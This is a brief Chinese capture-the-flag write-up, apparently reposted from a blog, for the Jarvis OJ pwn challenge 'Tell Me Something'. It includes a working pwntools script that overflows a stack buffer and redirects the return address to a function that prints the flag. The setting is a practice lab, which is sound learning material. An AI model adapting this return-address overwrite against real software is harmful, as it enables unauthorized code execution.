(Jarvis Oj)(Pwn) Tell Me Something

(Jarvis Oj)(Pwn) Tell Me Something

首先查看程序开的保护。基本什么都没有。
这里写图片描述
丢到ida中,主函数。
这里写图片描述
然后发现了good_game函数。
这里写图片描述
这个函数的用途就显而易见了,输出目录下的”flag.txt”文件。于是利用read函数导致的栈溢出,将返回地址覆盖为good_game函数的地址。通过ida或者cyclic工具可以获得需要的填充的长度。写得脚本。

  1 from pwn import *
  2 
  3 context.terminal = ['gnome-terminal','-x','sh','-c']
  4 #conn=process("./guestbook")
  5 conn=remote("pwn.jarvisoj.com","9876")
  6 e=ELF("./guestbook")
  7 conn.recvline()
  8 game_addr=e.symbols["good_game"]
  9 payload="A"*0x88+p64(game_addr)
  10 #print payload
  11 conn.sendline(payload)
  12 conn.recvline()
  13 conn.interactive()  

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/80690500